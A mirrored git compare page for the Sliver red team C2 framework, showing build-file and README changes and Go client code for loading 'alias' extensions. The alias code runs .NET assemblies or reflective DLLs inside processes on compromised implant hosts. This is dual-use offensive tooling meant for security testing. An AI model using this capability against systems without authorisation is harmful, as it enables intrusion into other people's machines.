mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
96
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ce27108c1a | ||
|
|
235fb87842 | ||
|
|
a0d71f4fe8 | ||
|
|
0502f82967 | ||
|
|
2553772ec0 | ||
|
|
406a10d639 | ||
|
|
92b2d2464c | ||
|
|
ead0a5ea1e | ||
|
|
d0ec264454 | ||
|
|
9c7e47c95e | ||
|
|
4c5a099d5c | ||
|
|
4ed42e4a3d | ||
|
|
ffee881de0 | ||
|
|
339bf15387 | ||
|
|
92c9a50ba7 | ||
|
|
99e6765896 | ||
|
|
b5d1e9a3d1 | ||
|
|
d1dbd3dcb7 | ||
|
|
8b81de5129 | ||
|
|
bcc7fb0fcb | ||
|
|
795001f690 | ||
|
|
b0c4f89bcf | ||
|
|
fb72322065 | ||
|
|
a1e51d64d4 | ||
|
|
d15c257176 | ||
|
|
97d3da75b6 | ||
|
|
4e3efeb623 | ||
|
|
81c7dd69da | ||
|
|
6c3b754943 | ||
|
|
fbea84eeb6 | ||
|
|
0c83bdc6d1 | ||
|
|
476eafccf5 | ||
|
|
1501633565 | ||
|
|
addd22d2f7 | ||
|
|
f196278c3e | ||
|
|
3aa33d3679 | ||
|
|
ab197461ae | ||
|
|
6488df4374 | ||
|
|
15c5eb29e5 | ||
|
|
91e4f5a33b | ||
|
|
62a6ffd1ac | ||
|
|
a69512ba65 | ||
|
|
3a1cd3a477 | ||
|
|
da0499f9da | ||
|
|
3169b436a8 | ||
|
|
26faea2ae0 | ||
|
|
11eb5f5f27 | ||
|
|
49d742cfad | ||
|
|
028521ddc0 | ||
|
|
66dad91d86 | ||
|
|
b9f8e045d9 | ||
|
|
8ffad32591 | ||
|
|
d60dcabd86 | ||
|
|
68cece2b96 | ||
|
|
5d3ef197e3 | ||
|
|
62c8d678e2 | ||
|
|
68fd6b27f9 | ||
|
|
21d2a10b7a | ||
|
|
efd4115a1c | ||
|
|
eed3f51be2 | ||
|
|
54b09d9a26 | ||
|
|
1bc1bc11c0 | ||
|
|
14aebe943c | ||
|
|
0f20dddc95 | ||
|
|
75e0b9d931 | ||
|
|
7af5280cd6 | ||
|
|
1d86383e0d | ||
|
|
3be52dde2f | ||
|
|
8b18bf571a | ||
|
|
6dacb8ad9f | ||
|
|
1db8e5a22e | ||
|
|
45f323eae9 | ||
|
|
22e615b1b4 | ||
|
|
afa534ea39 | ||
|
|
10429b7314 | ||
|
|
dfb6d2e1bb | ||
|
|
de3f2c827d | ||
|
|
4569621a8a | ||
|
|
f21242ca2c | ||
|
|
c13a71c92f | ||
|
|
9b85a63f69 | ||
|
|
fdab12c9a5 | ||
|
|
26abb42859 | ||
|
|
bf892e9c4b | ||
|
|
cb7f2b1aea | ||
|
|
44f16bb6a3 | ||
|
|
51af17906c | ||
|
|
4ba374cee6 | ||
|
|
55c1145b2d | ||
|
|
336fc4ffea | ||
|
|
581395e9a4 | ||
|
|
16ce440014 | ||
|
|
2bf87bff98 | ||
|
|
65788c1003 | ||
|
|
2e1aa54130 | ||
|
|
97715302a3 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.5
|
||||
FROM golang:1.17.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -6,10 +6,25 @@ GO ?= go
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
@@ -17,8 +32,10 @@ CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
@@ -30,14 +47,6 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -87,27 +96,27 @@ endif
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
@@ -119,6 +128,17 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -17,13 +17,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-fingerprinting features
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
+1
-40
@@ -19,9 +19,7 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
@@ -32,11 +30,6 @@ import (
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/*
|
||||
clientAssetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
@@ -80,47 +73,15 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2021 Bishop Fox
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
err := setupDefaultExtensions(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupDefaultExtensions(appDir string) error {
|
||||
localExtDir := GetExtensionsDir()
|
||||
rootEmbedPath := "fs/extensions"
|
||||
return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
|
||||
if embedDir.IsDir() {
|
||||
err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
data, err := fs.ReadFile(clientAssetsFs, embedPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
@@ -19,12 +19,17 @@ package alias
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
@@ -32,7 +37,7 @@ func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases loaded\n")
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,21 +48,37 @@ func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Help",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
for _, alias := range loadedAliases {
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
alias.Manifest.Name,
|
||||
alias.Manifest.CommandName,
|
||||
alias.Manifest.IsAssembly,
|
||||
alias.Manifest.IsReflective,
|
||||
alias.Manifest.Help,
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
@@ -73,3 +94,33 @@ func AliasCommandNameCompleter(prefix string, args []string, con *console.Sliver
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -111,7 +112,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
@@ -152,10 +153,13 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
|
||||
+127
-49
@@ -28,12 +28,15 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -63,12 +66,14 @@ type loadedAlias struct {
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
@@ -97,18 +102,22 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
var filePath string
|
||||
var err error
|
||||
for _, ef := range a.Files {
|
||||
if targetOS == ef.OS && targetArch == ef.Arch {
|
||||
filePath = ef.Path
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return filePath, err
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
@@ -123,37 +132,36 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
dirPath, err = filepath.Abs(dirPath)
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
manifestPath := filepath.Join(dirPath, ManifestFileName)
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias, err := ParseAliasManifest(data)
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias.RootPath = filepath.Dir(manifestPath)
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(alias.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: alias.Name,
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
@@ -161,7 +169,7 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if alias.IsAssembly {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
@@ -181,14 +189,15 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[alias.Name] = &loadedAlias{
|
||||
Manifest: alias,
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
@@ -225,39 +234,49 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
alias := loadedAlias.Manifest
|
||||
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = alias.DefaultArgs
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := alias.Entrypoint
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = alias.getDefaultProcess(session.GetOS())
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
@@ -267,14 +286,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if alias.IsAssembly {
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -295,12 +317,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
} else if alias.IsReflective {
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -309,23 +343,33 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: alias.Entrypoint,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
